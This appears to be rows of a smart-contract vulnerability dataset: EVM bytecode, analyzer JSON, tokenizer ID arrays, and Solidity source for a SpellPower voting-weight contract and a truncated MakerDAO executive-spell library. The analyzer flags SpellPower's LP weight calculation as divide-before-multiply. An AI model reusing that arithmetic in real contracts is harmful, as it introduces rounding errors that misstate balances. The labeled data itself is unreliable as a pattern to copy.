ffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6012600a0a6311d260c00281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a88576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1c565b610a9b83826110fa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f524553000000000000000000000000000000000000000000000000000000000081525081565b6000604060048101600036905010151515610ca157fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610cdd57600080fd5b610d2f83600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000610f0882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561110857fe5b818303905092915050565b600080828401905083811015151561112757fe5b80915050929150505600a165627a7a72305820c27faa03ea0b3fe31ea575a31dd1200ac0c2e865c5c0382ca4edbc909f92e3cc0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2094, 2575, 20842, 2063, 2581, 12740, 24594, 2581, 16576, 2575, 8586, 2546, 2575, 17134, 22025, 2094, 19841, 14142, 2094, 2581, 2620, 2683, 9818, 26187, 2581, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2459, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,696
0x958Da0fc423E716554e67Dff80921d171E6741b3
/** *Submitted for verification at Etherscan.io on 2021-09-23 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.6; struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 remainingIceTokenReward; // ICE Tokens that weren't distributed for user per pool. } interface ISorbettiere { function userInfo(uint256 pid, address account) external view returns (UserInfo memory user); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); } interface IBentoBoxV1BalanceAmount { function balanceOf(IERC20, address) external view returns (uint256); function toAmount(IERC20 token, uint256 share, bool roundUp) external view returns (uint256 amount); } interface ICauldron { function userCollateralShare(address user) external view returns(uint256); } contract SpellPower { ISorbettiere public constant sorbettiere = ISorbettiere(0xF43480afE9863da4AcBD4419A47D9Cc7d25A647F); IERC20 public constant pair = IERC20(0xb5De0C3753b6E1B4dBA616Db82767F17513E6d4E); IERC20 public constant spell = IERC20(0x090185f2135308BaD17527004364eBcC2D37e5F6); IERC20 public constant sspell = IERC20(0x26FA3fFFB6EfE8c1E69103aCb4044C26B9A106a9); ICauldron public constant sspellCauldron = ICauldron(0xC319EEa1e792577C319723b5e60a15dA3857E7da); ICauldron public constant sspellCauldron2 = ICauldron(0x3410297D89dCDAf4072B805EFc1ef701Bb3dd9BF); IBentoBoxV1BalanceAmount public constant bento = IBentoBoxV1BalanceAmount(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); function name() external pure returns (string memory) { return "SPELLPOWER"; } function symbol() external pure returns (string memory) { return "SPELLPOWER"; } function decimals() external pure returns (uint8) { return 18; } function allowance(address, address) external pure returns (uint256) { return 0; } function approve(address, uint256) external pure returns (bool) { return false; } function transfer(address, uint256) external pure returns (bool) { return false; } function transferFrom(address, address, uint256) external pure returns (bool) { return false; } /// @notice Returns SUSHI voting 'powah' for `account`. function balanceOf(address account) external view returns (uint256 powah) { uint256 bento_balance = bento.toAmount(sspell, (bento.balanceOf(sspell, account) + sspellCauldron2.userCollateralShare(account) + sspellCauldron.userCollateralShare(account)), false); // get BENTO sSpell balance 'amount' (not shares) uint256 collective_sSpell_balance = bento_balance + sspell.balanceOf(account); // get collective sSpell staking balances uint256 sSpell_powah = collective_sSpell_balance * spell.balanceOf(address(sspell)) / sspell.totalSupply(); // calculate sSpell weight uint256 lp_stakedBalance = sorbettiere.userInfo(0, account).amount; // get LP balance staked in Sorbettiere uint256 lp_balance = lp_stakedBalance + pair.balanceOf(account); // add staked LP balance & those held by `account` uint256 lp_powah = lp_balance * spell.balanceOf(address(pair)) / pair.totalSupply() * 2; // calculate adjusted LP weight powah = sSpell_powah + lp_powah; // add sSpell & LP weights for 'powah' } /// @notice Returns total 'powah' supply. function totalSupply() external view returns (uint256 total) { total = spell.balanceOf(address(sspell)) + spell.balanceOf(address(pair)) * 2; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80634da3182711610097578063a8aa1b3111610066578063a8aa1b311461024e578063a9059cbb1461013a578063dd62ed3e14610269578063ea762b791461027757600080fd5b80634da318271461020557806362aa5c7e1461022057806370a082311461023b57806395d89b411461010557600080fd5b806319d30b0d116100d357806319d30b0d146101a957806323b872dd146101c4578063313ce567146101db5780633f6d7e41146101ea57600080fd5b806306fdde0314610105578063095ea7b31461013a5780631134c4a51461016057806318160ddd14610193575b600080fd5b604080518082018252600a81526929a822a6262827aba2a960b11b602082015290516101319190610c15565b60405180910390f35b610150610148366004610b68565b600092915050565b6040519015158152602001610131565b61017b73c319eea1e792577c319723b5e60a15da3857e7da81565b6040516001600160a01b039091168152602001610131565b61019b610292565b604051908152602001610131565b61017b7326fa3fffb6efe8c1e69103acb4044c26b9a106a981565b6101506101d2366004610b2c565b60009392505050565b60405160128152602001610131565b61017b733410297d89dcdaf4072b805efc1ef701bb3dd9bf81565b61017b73f5bce5077908a1b7370b9ae04adc565ebd64396681565b61017b73f43480afe9863da4acbd4419a47d9cc7d25a647f81565b61019b610249366004610ad7565b6103db565b61017b73b5de0c3753b6e1b4dba616db82767f17513e6d4e81565b61019b610148366004610af9565b61017b73090185f2135308bad17527004364ebcc2d37e5f681565b6040516370a0823160e01b815273b5de0c3753b6e1b4dba616db82767f17513e6d4e600482015260009073090185f2135308bad17527004364ebcc2d37e5f6906370a082319060240160206040518083038186803b1580156102f357600080fd5b505afa158015610307573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061032b9190610bfc565b610336906002610ca4565b6040516370a0823160e01b81527326fa3fffb6efe8c1e69103acb4044c26b9a106a9600482015273090185f2135308bad17527004364ebcc2d37e5f6906370a082319060240160206040518083038186803b15801561039457600080fd5b505afa1580156103a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103cc9190610bfc565b6103d69190610c6a565b905090565b604051631c9e379b60e01b81526001600160a01b0382166004820152600090819073f5bce5077908a1b7370b9ae04adc565ebd643966906356623118907326fa3fffb6efe8c1e69103acb4044c26b9a106a99073c319eea1e792577c319723b5e60a15da3857e7da90631c9e379b9060240160206040518083038186803b15801561046557600080fd5b505afa158015610479573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049d9190610bfc565b604051631c9e379b60e01b81526001600160a01b0388166004820152733410297d89dcdaf4072b805efc1ef701bb3dd9bf90631c9e379b9060240160206040518083038186803b1580156104f057600080fd5b505afa158015610504573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105289190610bfc565b604051633de222bb60e21b81527326fa3fffb6efe8c1e69103acb4044c26b9a106a960048201526001600160a01b038916602482015273f5bce5077908a1b7370b9ae04adc565ebd6439669063f7888aec9060440160206040518083038186803b15801561059557600080fd5b505afa1580156105a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd9190610bfc565b6105d79190610c6a565b6105e19190610c6a565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526000604482015260640160206040518083038186803b15801561062c57600080fd5b505afa158015610640573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106649190610bfc565b6040516370a0823160e01b81526001600160a01b03851660048201529091506000907326fa3fffb6efe8c1e69103acb4044c26b9a106a9906370a082319060240160206040518083038186803b1580156106bd57600080fd5b505afa1580156106d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f59190610bfc565b6106ff9083610c6a565b905060007326fa3fffb6efe8c1e69103acb4044c26b9a106a96001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561075057600080fd5b505afa158015610764573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107889190610bfc565b6040516370a0823160e01b81527326fa3fffb6efe8c1e69103acb4044c26b9a106a9600482015273090185f2135308bad17527004364ebcc2d37e5f6906370a082319060240160206040518083038186803b1580156107e657600080fd5b505afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e9190610bfc565b6108289084610ca4565b6108329190610c82565b6040516393f1a40b60e01b81526000600482018190526001600160a01b038816602483015291925073f43480afe9863da4acbd4419a47d9cc7d25a647f906393f1a40b9060440160606040518083038186803b15801561089157600080fd5b505afa1580156108a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c99190610b92565b516040516370a0823160e01b81526001600160a01b038816600482015290915060009073b5de0c3753b6e1b4dba616db82767f17513e6d4e906370a082319060240160206040518083038186803b15801561092357600080fd5b505afa158015610937573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095b9190610bfc565b6109659083610c6a565b9050600073b5de0c3753b6e1b4dba616db82767f17513e6d4e6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109b657600080fd5b505afa1580156109ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ee9190610bfc565b6040516370a0823160e01b815273b5de0c3753b6e1b4dba616db82767f17513e6d4e600482015273090185f2135308bad17527004364ebcc2d37e5f6906370a082319060240160206040518083038186803b158015610a4c57600080fd5b505afa158015610a60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a849190610bfc565b610a8e9084610ca4565b610a989190610c82565b610aa3906002610ca4565b9050610aaf8185610c6a565b98975050505050505050565b80356001600160a01b0381168114610ad257600080fd5b919050565b600060208284031215610ae957600080fd5b610af282610abb565b9392505050565b60008060408385031215610b0c57600080fd5b610b1583610abb565b9150610b2360208401610abb565b90509250929050565b600080600060608486031215610b4157600080fd5b610b4a84610abb565b9250610b5860208501610abb565b9150604084013590509250925092565b60008060408385031215610b7b57600080fd5b610b8483610abb565b946020939093013593505050565b600060608284031215610ba457600080fd5b6040516060810181811067ffffffffffffffff82111715610bd557634e487b7160e01b600052604160045260246000fd5b80604052508251815260208301516020820152604083015160408201528091505092915050565b600060208284031215610c0e57600080fd5b5051919050565b600060208083528351808285015260005b81811015610c4257858101830151858201604001528201610c26565b81811115610c54576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c7d57610c7d610cc3565b500190565b600082610c9f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610cbe57610cbe610cc3565b500290565b634e487b7160e01b600052601160045260246000fdfea26469706673582212207eefb71cb7c6ec82039e199b1c20bb10560390b0976cef47ceaf077735dc9d1b64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2850, 2692, 11329, 20958, 2509, 2063, 2581, 16048, 24087, 2549, 2063, 2575, 2581, 20952, 2546, 17914, 2683, 17465, 2094, 16576, 2487, 2063, 2575, 2581, 23632, 2497, 2509, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 2603, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1020, 1025, 2358, 6820, 6593, 5310, 2378, 14876, 1063, 21318, 3372, 17788, 2575, 3815, 1025, 1013, 1013, 2129, 2116, 6948, 19204, 2015, 1996, 5310, 2038, 3024, 1012, 21318, 3372, 17788, 2575, 10377, 3207, 19279, 1025, 1013, 1013, 10377, 7016, 1012, 2156, 7526, 2917, 1012, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,697
0x958ddD605BE8d0955F6AEec8569ad623e1130F02
// hevm: flattened sources of src/DssSpell.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity =0.6.12 >=0.6.12 <0.7.0; pragma experimental ABIEncoderV2; ////// lib/dss-exec-lib/src/CollateralOpts.sol /* pragma solidity ^0.6.12; */ struct CollateralOpts { bytes32 ilk; address gem; address join; address clip; address calc; address pip; bool isLiquidatable; bool isOSM; bool whitelistOSM; uint256 ilkDebtCeiling; uint256 minVaultAmount; uint256 maxLiquidationAmount; uint256 liquidationPenalty; uint256 ilkStabilityFee; uint256 startingPriceFactor; uint256 breakerTolerance; uint256 auctionDuration; uint256 permittedDrop; uint256 liquidationRatio; uint256 kprFlatReward; uint256 kprPctReward; } ////// lib/dss-exec-lib/src/DssExecLib.sol // // DssExecLib.sol -- MakerDAO Executive Spellcrafting Library // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ /* pragma experimental ABIEncoderV2; */ /* import { CollateralOpts } from "./CollateralOpts.sol"; */ interface Initializable { function init(bytes32) external; } interface Authorizable { function rely(address) external; function deny(address) external; } interface Fileable { function file(bytes32, address) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, bytes32, address) external; } interface Drippable { function drip() external returns (uint256); function drip(bytes32) external returns (uint256); } interface Pricing { function poke(bytes32) external; } interface ERC20 { function decimals() external returns (uint8); } interface DssVat { function hope(address) external; function nope(address) external; function ilks(bytes32) external returns (uint256 Art, uint256 rate, uint256 spot, uint256 line, uint256 dust); function Line() external view returns (uint256); function suck(address, address, uint) external; } interface ClipLike { function vat() external returns (address); function dog() external returns (address); function spotter() external view returns (address); function calc() external view returns (address); function ilk() external returns (bytes32); } interface JoinLike { function vat() external returns (address); function ilk() external returns (bytes32); function gem() external returns (address); function dec() external returns (uint256); function join(address, uint) external; function exit(address, uint) external; } // Includes Median and OSM functions interface OracleLike_2 { function src() external view returns (address); function lift(address[] calldata) external; function drop(address[] calldata) external; function setBar(uint256) external; function kiss(address) external; function diss(address) external; function kiss(address[] calldata) external; function diss(address[] calldata) external; function orb0() external view returns (address); function orb1() external view returns (address); } interface MomLike { function setOsm(bytes32, address) external; function setPriceTolerance(address, uint256) external; } interface RegistryLike { function add(address) external; function xlip(bytes32) external view returns (address); } // https://github.com/makerdao/dss-chain-log interface ChainlogLike { function setVersion(string calldata) external; function setIPFS(string calldata) external; function setSha256sum(string calldata) external; function getAddress(bytes32) external view returns (address); function setAddress(bytes32, address) external; function removeAddress(bytes32) external; } interface IAMLike { function ilks(bytes32) external view returns (uint256,uint256,uint48,uint48,uint48); function setIlk(bytes32,uint256,uint256,uint256) external; function remIlk(bytes32) external; function exec(bytes32) external returns (uint256); } interface LerpFactoryLike { function newLerp(bytes32 name_, address target_, bytes32 what_, uint256 startTime_, uint256 start_, uint256 end_, uint256 duration_) external returns (address); function newIlkLerp(bytes32 name_, address target_, bytes32 ilk_, bytes32 what_, uint256 startTime_, uint256 start_, uint256 end_, uint256 duration_) external returns (address); } interface LerpLike { function tick() external; } library DssExecLib { /* WARNING The following library code acts as an interface to the actual DssExecLib library, which can be found in its own deployed contract. Only trust the actual library's implementation. */ address constant public LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; uint256 constant internal WAD = 10 ** 18; uint256 constant internal RAY = 10 ** 27; uint256 constant internal RAD = 10 ** 45; uint256 constant internal THOUSAND = 10 ** 3; uint256 constant internal MILLION = 10 ** 6; uint256 constant internal BPS_ONE_PCT = 100; uint256 constant internal BPS_ONE_HUNDRED_PCT = 100 * BPS_ONE_PCT; uint256 constant internal RATES_ONE_HUNDRED_PCT = 1000000021979553151239153027; function add(uint256 x, uint256 y) internal pure returns (uint256 z) {} function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {} function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {} function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {} function vat() public view returns (address) { return getChangelogAddress("MCD_VAT"); } function cat() public view returns (address) { return getChangelogAddress("MCD_CAT"); } function dog() public view returns (address) { return getChangelogAddress("MCD_DOG"); } function jug() public view returns (address) { return getChangelogAddress("MCD_JUG"); } function pot() public view returns (address) { return getChangelogAddress("MCD_POT"); } function vow() public view returns (address) { return getChangelogAddress("MCD_VOW"); } function end() public view returns (address) { return getChangelogAddress("MCD_END"); } function esm() public view returns (address) { return getChangelogAddress("MCD_ESM"); } function reg() public view returns (address) { return getChangelogAddress("ILK_REGISTRY"); } function spotter() public view returns (address) { return getChangelogAddress("MCD_SPOT"); } function osmMom() public view returns (address) { return getChangelogAddress("OSM_MOM"); } function clipperMom() public view returns (address) { return getChangelogAddress("CLIPPER_MOM"); } function autoLine() public view returns (address) { return getChangelogAddress("MCD_IAM_AUTO_LINE"); } function lerpFab() public view returns (address) { return getChangelogAddress("LERP_FAB"); } function clip(bytes32 _ilk) public view returns (address _clip) {} function flip(bytes32 _ilk) public view returns (address _flip) {} function calc(bytes32 _ilk) public view returns (address _calc) {} function getChangelogAddress(bytes32 _key) public view returns (address) {} function setChangelogAddress(bytes32 _key, address _val) public {} function setChangelogVersion(string memory _version) public {} function authorize(address _base, address _ward) public {} function canCast(uint40 _ts, bool _officeHours) public pure returns (bool) {} function nextCastTime(uint40 _eta, uint40 _ts, bool _officeHours) public pure returns (uint256 castTime) {} function updateCollateralPrice(bytes32 _ilk) public {} function setContract(address _base, bytes32 _what, address _addr) public {} function setContract(address _base, bytes32 _ilk, bytes32 _what, address _addr) public {} function setValue(address _base, bytes32 _what, uint256 _amt) public {} function setValue(address _base, bytes32 _ilk, bytes32 _what, uint256 _amt) public {} function increaseGlobalDebtCeiling(uint256 _amount) public {} function setIlkDebtCeiling(bytes32 _ilk, uint256 _amount) public {} function setIlkAutoLineParameters(bytes32 _ilk, uint256 _amount, uint256 _gap, uint256 _ttl) public {} function setIlkMinVaultAmount(bytes32 _ilk, uint256 _amount) public {} function setIlkLiquidationPenalty(bytes32 _ilk, uint256 _pct_bps) public {} function setIlkMaxLiquidationAmount(bytes32 _ilk, uint256 _amount) public {} function setIlkLiquidationRatio(bytes32 _ilk, uint256 _pct_bps) public {} function setStartingPriceMultiplicativeFactor(bytes32 _ilk, uint256 _pct_bps) public {} function setAuctionTimeBeforeReset(bytes32 _ilk, uint256 _duration) public {} function setAuctionPermittedDrop(bytes32 _ilk, uint256 _pct_bps) public {} function setKeeperIncentivePercent(bytes32 _ilk, uint256 _pct_bps) public {} function setKeeperIncentiveFlatRate(bytes32 _ilk, uint256 _amount) public {} function setLiquidationBreakerPriceTolerance(address _clip, uint256 _pct_bps) public {} function setIlkStabilityFee(bytes32 _ilk, uint256 _rate, bool _doDrip) public {} function setStairstepExponentialDecrease(address _calc, uint256 _duration, uint256 _pct_bps) public {} function whitelistOracleMedians(address _oracle) public {} function addReaderToWhitelist(address _oracle, address _reader) public {} function addReaderToWhitelistCall(address _oracle, address _reader) public {} function allowOSMFreeze(address _osm, bytes32 _ilk) public {} function addCollateralBase( bytes32 _ilk, address _gem, address _join, address _clip, address _calc, address _pip ) public {} function addNewCollateral(CollateralOpts memory co) public {} function linearInterpolation(bytes32 _name, address _target, bytes32 _what, uint256 _startTime, uint256 _start, uint256 _end, uint256 _duration) public returns (address) {} function linearInterpolation(bytes32 _name, address _target, bytes32 _ilk, bytes32 _what, uint256 _startTime, uint256 _start, uint256 _end, uint256 _duration) public returns (address) {} } ////// lib/dss-exec-lib/src/DssAction.sol // // DssAction.sol -- DSS Executive Spell Actions // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ /* import { DssExecLib } from "./DssExecLib.sol"; */ /* import { CollateralOpts } from "./CollateralOpts.sol"; */ interface OracleLike_1 { function src() external view returns (address); } abstract contract DssAction { using DssExecLib for *; // Modifier used to limit execution time when office hours is enabled modifier limited { require(DssExecLib.canCast(uint40(block.timestamp), officeHours()), "Outside office hours"); _; } // Office Hours defaults to true by default. // To disable office hours, override this function and // return false in the inherited action. function officeHours() public virtual returns (bool) { return true; } // DssExec calls execute. We limit this function subject to officeHours modifier. function execute() external limited { actions(); } // DssAction developer must override `actions()` and place all actions to be called inside. // The DssExec function will call this subject to the officeHours limiter // By keeping this function public we allow simulations of `execute()` on the actions outside of the cast time. function actions() public virtual; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://<executive-vote-canonical-post> -q -O - 2>/dev/null)" function description() external virtual view returns (string memory); // Returns the next available cast time function nextCastTime(uint256 eta) external returns (uint256 castTime) { require(eta <= uint40(-1)); castTime = DssExecLib.nextCastTime(uint40(eta), uint40(block.timestamp), officeHours()); } } ////// lib/dss-exec-lib/src/DssExec.sol // // DssExec.sol -- MakerDAO Executive Spell Template // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ interface PauseAbstract { function delay() external view returns (uint256); function plot(address, bytes32, bytes calldata, uint256) external; function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory); } interface Changelog { function getAddress(bytes32) external view returns (address); } interface SpellAction { function officeHours() external view returns (bool); function description() external view returns (string memory); function nextCastTime(uint256) external view returns (uint256); } contract DssExec { Changelog constant public log = Changelog(0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F); uint256 public eta; bytes public sig; bool public done; bytes32 immutable public tag; address immutable public action; uint256 immutable public expiration; PauseAbstract immutable public pause; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://<executive-vote-canonical-post> -q -O - 2>/dev/null)" function description() external view returns (string memory) { return SpellAction(action).description(); } function officeHours() external view returns (bool) { return SpellAction(action).officeHours(); } function nextCastTime() external view returns (uint256 castTime) { return SpellAction(action).nextCastTime(eta); } // @param _description A string description of the spell // @param _expiration The timestamp this spell will expire. (Ex. now + 30 days) // @param _spellAction The address of the spell action constructor(uint256 _expiration, address _spellAction) public { pause = PauseAbstract(log.getAddress("MCD_PAUSE")); expiration = _expiration; action = _spellAction; sig = abi.encodeWithSignature("execute()"); bytes32 _tag; // Required for assembly access address _action = _spellAction; // Required for assembly access assembly { _tag := extcodehash(_action) } tag = _tag; } function schedule() public { require(now <= expiration, "This contract has expired"); require(eta == 0, "This spell has already been scheduled"); eta = now + PauseAbstract(pause).delay(); pause.plot(action, tag, sig, eta); } function cast() public { require(!done, "spell-already-cast"); done = true; pause.exec(action, tag, sig, eta); } } ////// src/DssSpell.sol // // Copyright (C) 2021 Dai Foundation // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see 